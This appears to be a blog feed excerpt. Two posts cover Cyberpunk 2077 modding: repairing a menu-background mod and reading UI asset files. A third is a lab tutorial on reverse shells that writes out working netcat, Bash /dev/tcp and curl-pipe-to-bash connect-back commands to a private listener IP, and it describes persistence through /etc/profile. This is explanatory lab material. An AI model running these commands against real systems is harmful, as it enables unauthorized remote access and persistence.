&lt;p&gt;The mod replaced each story-specific widget with  &lt;code&gt;initial_loading_screen.inkwidget&lt;/code&gt; . Those original widgets also define the loading shots, as described in &lt;a href=&#34;/en/game-workshop/game-modding/reading-cyberpunk-2077s-ui-assets/#inkwidget&#34;&gt;the inkwidget notes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the comparison below, the story widget has  &lt;code&gt;ls_01&lt;/code&gt; ,  &lt;code&gt;ls_02&lt;/code&gt;  and  &lt;code&gt;ls_03&lt;/code&gt; . The initial widget only has  &lt;code&gt;main_menu&lt;/code&gt;  and  &lt;code&gt;loading_screen&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696351/Typora/2025/08/dfc871c9dcc12b9cadeb7ca35624c9e3.png&#34; alt=&#34;The three shot entries are missing from the replacement&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The first remaining entry,  &lt;code&gt;main_menu&lt;/code&gt; , refers to the replacement Ciri video,  &lt;code&gt;cp_bg_alpha_faded.bk2&lt;/code&gt; . The second refers to a different animation shown on entering the menu. The game can no longer find any of the three shots when loading a save.&lt;/p&gt;
&lt;span id=&#34;加载动画修复方法&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;restore-the-shots-and-replace-the-menu-background&#34; data-section=&#34;加载动画修复方法&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#restore-the-shots-and-replace-the-menu-background&#34;&gt;#&lt;/a&gt; Restore the shots and replace the menu background&lt;/h2&gt;
&lt;p&gt;I started a fresh project. In Asset Browser I found the original mod’s Ciri background video, listed here as  &lt;code&gt;cp_bg_alpha_faded.bk2&lt;/code&gt; , and added it to the project. Then I located the game’s  &lt;code&gt;loading_screen_5_after_q101.inkwidget&lt;/code&gt;  and  &lt;code&gt;initial_loading_screen.inkwidget&lt;/code&gt; . I added the former to the project for editing and used &lt;strong&gt;Open without adding to project&lt;/strong&gt; for the latter.&lt;/p&gt;
&lt;p&gt;Copy the  &lt;code&gt;cp_bg_alpha_faded.bk2&lt;/code&gt;  resource from the initial widget into the q101 widget’s  &lt;code&gt;externalDependenciesForInternalItems&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696355/Typora/2025/08/a07fb28527c04bf0d6a1fac487d0e1ea.png&#34; alt=&#34;Adding the video dependency to the story widget&#34; /&gt;&lt;/p&gt;
&lt;p&gt;In  &lt;code&gt;ls_01 → children&lt;/code&gt; , delete items 1–6, the layers making up the original menu background. Keep item 0,  &lt;code&gt;fade_to_black&lt;/code&gt; . It seems to handle the transition; without it the menu background animation stutters.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696355/Typora/2025/08/f443d45ef51c334045498bbea418f1d1.png&#34; alt=&#34;Keeping fade_to_black while removing the original layers&#34; /&gt;&lt;/p&gt;
&lt;p&gt;From  &lt;code&gt;main_menu → children&lt;/code&gt;  in the initial widget, copy  &lt;code&gt;cp_bg_alpha&lt;/code&gt; . It points to the video that the mod has replaced with Ciri.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696356/Typora/2025/08/bc72ba01656cc7c37368d1101c3c08b9.png&#34; alt=&#34;Copying the video child from main_menu&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Paste it where you removed the other children in the q101 widget:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696357/Typora/2025/08/6da47409fffe611ec5d5bc039388b64a.png&#34; alt=&#34;The replacement child in ls_01&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Repeat for the widgets in the other story folders under  &lt;code&gt;loading_screens&lt;/code&gt;  to cover the remaining backgrounds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;One limitation remains.&lt;/strong&gt; The main menu background and the third loading shot both use  &lt;code&gt;ls_01&lt;/code&gt; . The first shot uses  &lt;code&gt;ls_02&lt;/code&gt;  and the second uses  &lt;code&gt;ls_03&lt;/code&gt; . Changing  &lt;code&gt;ls_01&lt;/code&gt;  gives me the menu I wanted, but now Ciri also appears in that final shot. I haven’t found a way around that yet.&lt;/p&gt;
</content>
        <updated>2025-08-20T14:42:31.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/game-workshop/game-modding/reading-cyberpunk-2077s-ui-assets/</id>
        <title>Reading Cyberpunk 2077’s UI Assets</title>
        <link rel="alternate" href="https://www.sycamore.top/en/game-workshop/game-modding/reading-cyberpunk-2077s-ui-assets/"/>
        <content type="html">&lt;p&gt;These are my working notes on files I came across in Cyberpunk 2077’s archives while making a mod. I hadn’t worked on 3D animation or game production before, so some of the terminology here is my own best guess.&lt;/p&gt;
&lt;hr /&gt;
&lt;span id=&#34;文件类型和作用&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;file-types-and-what-they-do&#34; data-section=&#34;文件类型和作用&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#file-types-and-what-they-do&#34;&gt;#&lt;/a&gt; File types and what they do&lt;/h1&gt;
&lt;h2 id=&#34;xbm&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#xbm&#34;&gt;#&lt;/a&gt; xbm&lt;/h2&gt;
&lt;p&gt;An  &lt;code&gt;.xbm&lt;/code&gt;  stores image data used as a texture in the game. WolvenKit can preview it. Here’s  &lt;code&gt;expansion_logo.xbm&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696360/Typora/2025/08/2c0934a8e3cdb50eaedad5bc5a2c17f0.png&#34; alt=&#34;WolvenKit preview of the expansion logos&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;inkatlas&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#inkatlas&#34;&gt;#&lt;/a&gt; inkatlas&lt;/h2&gt;
&lt;p&gt;An  &lt;code&gt;.inkatlas&lt;/code&gt;  seems to describe how to use separate regions of an  &lt;code&gt;.xbm&lt;/code&gt;  image. Here’s  &lt;code&gt;expansion_logo.inkatlas&lt;/code&gt; , the atlas that goes with  &lt;code&gt;expansion_logo.xbm&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696359/Typora/2025/08/90a3c1b202508200d39ecdf04f3cd021.png&#34; alt=&#34;Entries in the expansion logo atlas&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I expanded entry 3,  &lt;code&gt;logo&lt;/code&gt; , and compared it with entry 4,  &lt;code&gt;logo_EN&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696360/Typora/2025/08/4c4d7b17e1126d72bd67023217ae420f.png&#34; alt=&#34;Boundary coordinates for logo and logo_EN&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Bottom, Left, Right and Top look like the boundaries of a region in the texture, expressed as values between 0 and 1. Here’s how I worked out which images they might describe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Bottom value for entry 3 is close to the Top value for entry 4, suggesting the two images sit one above the other.&lt;/li&gt;
&lt;li&gt;Those vertical coordinates are close to 1, which places them near the bottom of the texture.&lt;/li&gt;
&lt;li&gt;Both Left values are the same and close to 0, placing them at the far left.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My reading is that these entries correspond to the two English PHANTOM LIBERTY logos in the bottom-left corner.&lt;/p&gt;
&lt;h2 id=&#34;inkwidget&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#inkwidget&#34;&gt;#&lt;/a&gt; inkwidget&lt;/h2&gt;
&lt;p&gt;This file seems to describe the resources that make up an animation. Take  &lt;code&gt;loading_screen_5_after_q101.inkwidget&lt;/code&gt; : I think it corresponds to one of the little sequences that plays when you load a game from the main menu. These usually consist of three animations.&lt;/p&gt;
&lt;p&gt;In the screenshot,  &lt;code&gt;externalDependenciesForInternalItems&lt;/code&gt;  lists resources needed by the internal items. The entries under  &lt;code&gt;libraryItems&lt;/code&gt;  describe the animations themselves. Here  &lt;code&gt;ls_01&lt;/code&gt; ,  &lt;code&gt;ls_02&lt;/code&gt;  and  &lt;code&gt;ls_03&lt;/code&gt;  correspond to the three loading animations.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696361/Typora/2025/08/ed815477f0502d01327d6c8fd694ca6a.png&#34; alt=&#34;Dependencies and library items in the loading screen widget&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I opened  &lt;code&gt;ls_01&lt;/code&gt;  for a closer look. Most of what interested me was under  &lt;code&gt;children&lt;/code&gt; . There are seven entries, and their names give some clues:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696363/Typora/2025/08/fb1bf0564b6749bc6c8d22e2dcad17f2.png&#34; alt=&#34;The seven children of ls_01&#34; /&gt;&lt;/p&gt;
&lt;p&gt;For example,  &lt;code&gt;shot_01_bg&lt;/code&gt;  appears to be the background for this shot, and  &lt;code&gt;antena_light_1&lt;/code&gt;  a blinking signal light. Expanding an item reveals the resource it refers to.&lt;/p&gt;
&lt;p&gt;In  &lt;code&gt;ls_02&lt;/code&gt; , expanding  &lt;code&gt;BINK_RTW&lt;/code&gt;  reveals a video resource:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696363/Typora/2025/08/9357c4afea9961b5a46f861d1ddf4906.png&#34; alt=&#34;Video resource referenced by BINK_RTW&#34; /&gt;&lt;/p&gt;
&lt;p&gt;To see what it plays, I selected &lt;strong&gt;Add to Project&lt;/strong&gt; on the video resource and opened it with RAD Video Tools:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696364/Typora/2025/08/7ecc5753dbb2a7e5f44a2e08d451b207.png&#34; alt=&#34;Ziggy Q and the NCPD spokesperson in the video&#34; /&gt;&lt;/p&gt;
&lt;p&gt;You might remember Ziggy Q and the NCPD spokesperson.&lt;/p&gt;
&lt;hr /&gt;
&lt;span id=&#34;目录对应的功能&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;what-i-found-in-the-directories&#34; data-section=&#34;目录对应的功能&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-i-found-in-the-directories&#34;&gt;#&lt;/a&gt; What I found in the directories&lt;/h1&gt;
&lt;h2 id=&#34;basegameplayguiworldloading_screens&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#basegameplayguiworldloading_screens&#34;&gt;#&lt;/a&gt;  &lt;code&gt;base\gameplay\gui\world\loading_screens\&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The main menu background changes as you progress through the story. Several images also play in sequence when loading a save.&lt;/p&gt;
&lt;p&gt;For example, here’s  &lt;code&gt;loading_screen_5_after_q101\loading_screen_5_shot_01.xbm&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696336/Typora/2025/08/ffbe63923183b7d8602c1046d1bc2b84.png&#34; alt=&#34;The loading screen texture&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The same image shows up on the main menu:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696341/Typora/2025/08/a4e7e61df94dc872b29a72dd4b9fe6ba.png&#34; alt=&#34;The same texture displayed on the main menu&#34; /&gt;&lt;/p&gt;
&lt;p&gt;That led me to the corresponding  &lt;code&gt;.inkwidget&lt;/code&gt;  as the place to change the main menu background.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;/en/game-workshop/game-modding/repairing-the-ciri-main-menu-background-mod/&#34;&gt;Follow-up: repairing the Ciri main menu background mod&lt;/a&gt;&lt;/p&gt;
</content>
        <updated>2025-08-13T14:56:23.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/cybersecurity/security-labs/how-reverse-shells-work/</id>
        <title>How Reverse Shells Work</title>
        <link rel="alternate" href="https://www.sycamore.top/en/cybersecurity/security-labs/how-reverse-shells-work/"/>
        <content type="html">&lt;span id=&#34;什么是反弹shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;what-is-a-reverse-shell&#34; data-section=&#34;什么是反弹shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-is-a-reverse-shell&#34;&gt;#&lt;/a&gt; What is a reverse shell?&lt;/h1&gt;
&lt;p&gt;In a direct connection, the initiating machine connects to a port on the remote host. Web servers, SSH and remote desktop are familiar examples.&lt;/p&gt;
&lt;p&gt;Sometimes it is impossible to reach the remote machine directly. A connection initiated in the other direction behaves differently.&lt;/p&gt;
&lt;p&gt;In a reverse connection, the remote host initiates the connection to a listener. In the shell examples, command input and output then travel over that connection.&lt;/p&gt;
&lt;span id=&#34;适用情况&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;when-connection-direction-matters&#34; data-section=&#34;适用情况&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#when-connection-direction-matters&#34;&gt;#&lt;/a&gt; When connection direction matters&lt;/h1&gt;
&lt;p&gt;The notes consider the following network conditions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A firewall may allow outgoing requests while blocking incoming connections.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The target can still open an outbound connection to the listening port on the attacking machine, giving the attacker a shell.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A local port on the remote host may already be occupied.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The attacker can choose an available listening port on their own machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The attacker may not know when the target will encounter a virus or Trojan, what network it will be on, or when it will be powered on.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In that scenario, the attacker leaves a listener running and tricks the target into executing a program that connects back with a shell.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The machine may be on a private network or its IP address may change.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A directly reachable address may not be available.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;实现方式&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;implementations&#34; data-section=&#34;实现方式&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#implementations&#34;&gt;#&lt;/a&gt; Implementations&lt;/h1&gt;
&lt;p&gt;Which reverse-shell method works depends on what’s available on the remote host.&lt;br /&gt;
For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If netcat, Socat or Telnet is installed, you can use that tool for the connection.&lt;/li&gt;
&lt;li&gt;If Bash is available, it can make the connection itself.&lt;/li&gt;
&lt;li&gt;A Python or PHP interpreter can also run a script that does the same thing.&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;利用-netcat-反弹shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;netcat&#34; data-section=&#34;利用-netcat-反弹shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#netcat&#34;&gt;#&lt;/a&gt; Netcat&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Netcat&lt;/strong&gt; (nc) is a small Unix utility for making TCP and UDP connections.&lt;/p&gt;
&lt;span id=&#34;准备&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;preparation&#34; data-section=&#34;准备&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#preparation&#34;&gt;#&lt;/a&gt; Preparation&lt;/h3&gt;
&lt;p&gt;At the time of these notes, many Linux distributions shipped with a netcat package.&lt;/p&gt;
&lt;p&gt;Some versions omitted the -e option.&lt;br /&gt;
I assumed that was a security precaution: -e lets netcat attach a local shell directly to the connection.&lt;/p&gt;
&lt;p&gt;For this test I installed a version with the option:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make &amp;amp;&amp;amp; make install
make clean
&lt;/code&gt;&lt;/pre&gt;
&lt;span id=&#34;攻击机开启监听&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;listener&#34; data-section=&#34;攻击机开启监听&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#listener&#34;&gt;#&lt;/a&gt; Listener&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Syntax:  &lt;code&gt;nc -lvvp &amp;lt;listener-port&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;netcat -lvvp 23333&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696696/Typora/2025/06/074dea0aeb65e3cf991579314a98284c.png&#34; alt=&#34;image-20250615012933906&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;目标机主动连接攻击机&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;connection-from-the-remote-host&#34; data-section=&#34;目标机主动连接攻击机&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#connection-from-the-remote-host&#34;&gt;#&lt;/a&gt; Connection from the remote host&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Syntax:  &lt;code&gt;nc &amp;lt;listener-IP&amp;gt; &amp;lt;listener-port&amp;gt; -e /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;netcat 192.168.158.139 23333 -e /bin/bash&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696696/Typora/2025/06/f52bbdd3389beb7c7a9e9da72e220e40.png&#34; alt=&#34;image-20250615012929850&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The listener has to be running before the target connects back.&lt;/p&gt;
&lt;p&gt;Here’s the resulting shell:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696698/Typora/2025/06/9284a9b2e6290d96a8b65313b24f91a3.png&#34; alt=&#34;image-20250615012926374&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;利用-bash-反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;bash&#34; data-section=&#34;利用-bash-反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#bash&#34;&gt;#&lt;/a&gt; Bash&lt;/h2&gt;
&lt;p&gt;This version uses Bash network redirection.&lt;/p&gt;
&lt;span id=&#34;准备-2&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;preparation-2&#34; data-section=&#34;准备-2&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#preparation-2&#34;&gt;#&lt;/a&gt; Preparation&lt;/h3&gt;
&lt;p&gt;The default shell on my Kali installation was zsh.&lt;br /&gt;
Use  &lt;code&gt;echo &amp;quot;$SHELL&amp;quot;&lt;/code&gt;  to see which login shell is configured for the current user.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696699/Typora/2025/06/8d5285fdf9ee6db10ebba4ce645ad92c.png&#34; alt=&#34;image-20250615012919215&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I switched shells for the test:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change the login shell:  &lt;code&gt;chsh -s /bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Reboot:  &lt;code&gt;reboot&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696700/Typora/2025/06/a9c9ebe071eae7546dacb18ebc0bb277.png&#34; alt=&#34;image-20250615012915317&#34; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The error below occurred because the listener wasn’t running.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696700/Typora/2025/06/8854676b35906672629c5fc26ad8a02f.png&#34; alt=&#34;image-20250615012907770&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Some Debian builds may also have Bash network redirection disabled by default.&lt;/p&gt;
&lt;p&gt;In that case I rebuilt Bash with  &lt;code&gt;--enable-net-redirections&lt;/code&gt; .&lt;br /&gt;
I wrote up the build separately in &lt;a href=&#34;/en/system/linux/building-bash-with-network-redirections/&#34;&gt;Rebuilding Bash for network redirection&lt;/a&gt;.&lt;/p&gt;
&lt;span id=&#34;命令&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;command&#34; data-section=&#34;命令&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#command&#34;&gt;#&lt;/a&gt; Command&lt;/h3&gt;
&lt;p&gt;I started a local listener on the receiving machine first.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Syntax:  &lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;listener-IP&amp;gt;/&amp;lt;listener-port&amp;gt; 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.158.139/23333 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The connection worked:&lt;/strong&gt;&lt;br /&gt;
On the target, which initiated the connection:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696702/Typora/2025/06/c693896f2e2fa73809cee178b0f6533b.png&#34; alt=&#34;image-20250615012903048&#34; /&gt;&lt;/p&gt;
&lt;p&gt;On the listening machine:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696703/Typora/2025/06/6fb9f5e48c00f60ba91673a9f6c734eb.png&#34; alt=&#34;image-20250615012858851&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;详细解释&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;explanation&#34; data-section=&#34;详细解释&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#explanation&#34;&gt;#&lt;/a&gt; Explanation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bash -i&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Starts an interactive Bash shell.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&amp;amp;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Joins the streams before the operator and redirects them to the destination after it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/tcp/192.168.158.139/23333&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Bash recognises the special path /dev/tcp/ip/port.&lt;/li&gt;
&lt;li&gt;In this example it opens a TCP connection from the target to port 23333 on the listening host, 192.168.158.139.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&amp;gt;&amp;amp;1&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;0 and 1 are file descriptors.&lt;/li&gt;
&lt;li&gt;Here standard input (0) is redirected to the same destination as standard output (1). That is how the connection carries both input and output.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;curl-配合-bash&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;curl-and-bash&#34; data-section=&#34;curl-配合-bash&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#curl-and-bash&#34;&gt;#&lt;/a&gt; Curl and Bash&lt;/h3&gt;
&lt;p&gt;Here’s another way I tried the Bash version.&lt;br /&gt;
The curl command uses a shell pipeline.&lt;/p&gt;
&lt;span id=&#34;1-准备-indexphp-文件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;preparing-indexphp&#34; data-section=&#34;1-准备-indexphp-文件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#preparing-indexphp&#34;&gt;#&lt;/a&gt; Preparing index.php&lt;/h4&gt;
&lt;p&gt;I created an index.php file on the listening machine.&lt;br /&gt;
Its contents were the command I’d previously run on the target for the Bash connection:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.158.139/23333 0&amp;gt;&amp;amp;1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I saved it under the web root.&lt;br /&gt;
On my Kali guest running Apache2, that directory was /var/www/html/.&lt;/p&gt;
&lt;p&gt;After starting Apache2, I found an index.php in that directory.&lt;br /&gt;
I could replace its contents directly. It just supplied the page shown below.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696703/Typora/2025/06/97eb1b3565e6f8745bf100a9b5ee31ed.png&#34; alt=&#34;image-20250615012853268&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;2-攻击机打开-23333-端口的监听&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;listener-setup&#34; data-section=&#34;2-攻击机打开-23333-端口的监听&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#listener-setup&#34;&gt;#&lt;/a&gt; Listener setup&lt;/h4&gt;
&lt;p&gt;Command:  &lt;code&gt;netcat -lvvp 23333&lt;/code&gt;&lt;/p&gt;
&lt;span id=&#34;3-目标机输入-curl-命令反弹-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;client-side-request&#34; data-section=&#34;3-目标机输入-curl-命令反弹-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#client-side-request&#34;&gt;#&lt;/a&gt; Client-side request&lt;/h4&gt;
&lt;p&gt;Command:  &lt;code&gt;curl 192.168.158.139|bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here’s what that looked like:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696704/Typora/2025/06/66bf859ff6c462a364624b51a215fd64.png&#34; alt=&#34;image-20250615012839981&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The reverse connection succeeded:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696706/Typora/2025/06/01742775f569ce91fa25a5f8f25ed544.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;bash-反弹命令写入-etcprofile-文件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;shell-startup-files&#34; data-section=&#34;bash-反弹命令写入-etcprofile-文件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#shell-startup-files&#34;&gt;#&lt;/a&gt; Shell startup files&lt;/h3&gt;
&lt;p&gt;The /etc/profile file runs when a Bash login shell starts.&lt;/p&gt;
&lt;span id=&#34;如图&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;illustration&#34; data-section=&#34;如图&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#illustration&#34;&gt;#&lt;/a&gt; Illustration&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;I’d typed the command incorrectly in this screenshot, so starting Bash printed an error.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696707/Typora/2025/06/92211d839dd171dc8f115e037f1e07eb.png&#34; alt=&#34;image-20250615012821415&#34; /&gt;&lt;br /&gt;
Even with the correct command, I still got an error if the receiving machine wasn’t listening:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696708/Typora/2025/06/566b0ca11a943f96d0bf550e848d84d4.png&#34; alt=&#34;image-20250615012825282&#34; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
